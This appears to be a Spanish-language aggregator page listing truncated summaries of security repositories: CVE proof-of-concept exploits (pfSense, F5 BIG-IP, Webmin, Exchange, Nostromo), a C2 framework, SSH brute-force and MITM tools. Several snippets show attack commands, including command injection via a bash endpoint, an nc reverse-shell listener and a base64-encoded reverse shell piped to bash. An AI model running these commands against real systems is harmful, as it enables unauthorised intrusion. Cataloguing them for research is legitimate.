CVE-2023-42326

pfSense 2.7.0 Exploit de Inyección de Comandos CVE-2023-42326 Este script de Python es una Prueba de Concepto PoC para la vulnerabilidad de inyección de comandos CVE-2023-42326 en pfSense 2.7.0. La vulnerabilidad permite a atacantes autenticados inyectar y ejecutar comandos arbitrarios a través d...

CVE-2024-50379-POC

CVE-2024-50379-POC Este repositorio contiene un script de Python diseñado para explotar CVE-2024-50379 , una vulnerabilidad que permite a los atacantes subir un shell JSP a un servidor vulnerable y ejecutar comandos arbitrarios de forma remota. Este exploit es particularmente útil cuando el...

CVE-2026-58635-PoC

CVE-2026-58635: Escalada de Privilegios Local mediante Braille del Narrador de Windows Prueba de concepto para CVE-2026-58635 , una vulnerabilidad de inyección de comandos en Braille del Narrador de Windows. Un usuario local autenticado puede abusar de un parámetro BrlAPI escribible para hacer qu...

Web-Security-Learning

Web-Security-Learning Dirección del proyecto: https://github.com/CHYbeta/Web-Security-Learning Comunidad de conocimiento 【Vulnerabilidades y Explotación】: https://t.zsxq.com/mm2zBeq Índice: Web-Security-Learning Web Security Inyección SQL MySql MSSQL PostgreSQL MongoDB Técnicas Herramientas XSS...

preflight

Preflight.sh Preflight.sh es una herramienta de línea de comandos que analiza tu código en busca de preparación para el lanzamiento. Identifica configuración faltante, problemas de integración, preocupaciones de seguridad, brechas de metadatos SEO y otros errores comunes antes de que despliegues ...

CVE-2022-1388

CVE-2022-1388 Checking and exploit for CVE-2022-1388 Installation: python3 -m pip install -r requirements.txt Usage Single : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Mass : python3 cve.py m host li...

CVE-2018-2628

CVE-2018-2628 Herramienta de prueba de concepto para generar cargas útiles que explotan la deserialización insegura de objetos Java. Pasos detallados para reproducir la vulnerabilidad CVE-2018-2628: 0x01 Ejecute el siguiente comando en el host JRMPListener: wget...

QuickResponseC2

Capacidades - Uso - Demostración - Resumen del flujo de trabajo - TODO QuickResponseC2 QuickResponseC2 es un framework de Comando y Control C2 sigiloso que permite una comunicación indirecta y encubierta entre la máquina atacante y la víctima a través de un servidor HTTP/S intermedio. Toda la...

RedLogin

RedLogin Red Login: SSH Brute-force Tools Features: High speed and precision CLI Console based Run the arbitrary command after the attack is successful Default 'Uname -a' Telegram messanger support for sending reports via bot API Usage: Redlogin.exe Optional —telegram == List of targets ip list =...

CVE-2020-0688_EXP

CVE-2020-0688EXP CVE-2020-0688EXP Carga útil de activación automática python3 CVE-2020-0688EXP.py -h usage: CVE-2020-0688EXP.py -h -s SERVER -u USER -p PASSWORD -c CMD -e optional arguments: -h, --help show this help message and exit -s SERVER, --server ECP Server URL Example: http://ip/owa -u...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Se descubrió un problema en Webmin =1.920. Los parámetros "old" y "expire" en passwordchange.cgi contienen una vulnerabilidad de inyección de comandos. Uso 1. Inicia un listener en la caja roja. rlwrap -cAr nc -lvp 1919 2. Ejecuta el...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ Aviso de responsabilidad Este repositorio está destinado estrictamente únicamente con fines educativos y de investigación. La información y el código proporcionados aquí pueden utilizarse en entornos controlados , como máquinas de laboratorio privadas. El uso no autorizad...

CVE-2023-33381-MitraStar-GPT-2741GNAC

CVE-2023-33381-MitraStar-GPT-2741GNAC CVE-2023-33381: Inyección de comandos del sistema operativo en MitraStar GPT-2741GNAC Dispositivo: GPT-2741GNAC Versión de firmware: ARg5.8110WVN0b72 Descripción de la vulnerabilidad: Al iniciar sesión por SSH, noté inmediatamente el conjunto limitado de...

zip-shotgun

ZIP Shotgun Utility script to test zip file upload functionality and possible extraction of zip files for vulnerabilities aka Zip Slip. Idea for this script comes from this post on Silent Signal Techblog - Compressed File Upload And Command Execution and from OWASP - Test Upload of Malicious File...

CVE-2017-1000117

Repositorio de Prueba de Concepto para CVE-2017-1000117 VulApps Fork de joernchen/CVE-2017-1000117 git clone --recursive https://github.com/VulApps/CVE-2017-1000117.git escribirá la salida de id en un archivo llamado vul en /var/www/html. Ver más en VulApps...

ssh-mitm

SSH-MITM - auditorías ssh simplificadas Una herramienta interactiva de intercepción SSH para auditorías de seguridad autorizadas. Intercepta sesiones, monitoriza el tráfico en vivo, inyecta comandos y manipula transferencias de archivos — todo en tiempo real. !Follow me on...

secator

The pentester's swiss knife. Features • Supported commands • Installation • Usage • Documentation • Join us on Discord ! secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters a...

Variatype.htb-CVE-2025-66034

Hackthebox Season 10 - Variatype Este script te dará acceso inicial. Primero, instala los módulos requeridos usando pip pip3 install -r requirements.txt Uso python3 exploit.py 'id' o python3 exploit.py 'echo BASE64ENCODEDREVSHELL | base64 -d | bash'...

CVE-2019-16278

CVE-2019-16278 CVE-2019-16278Nostromo httpd Command Execution ➜ Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ➜ Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ➜ Downloads python nostromo.py 114.114.114.114 8080 "ls -al" drwxr-xr-x 2 0 0 0 Apr 12 2013...

CVE-2020-13151

CVE-2020-13151 POC Aerospike Database 5.1.0.3 Ejecución de Comandos en el Host Artículo completo en @ https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html poc.lua muestra la explotación manual del servidor cve2020-13151.py para explotación automatizada run-poc.sh...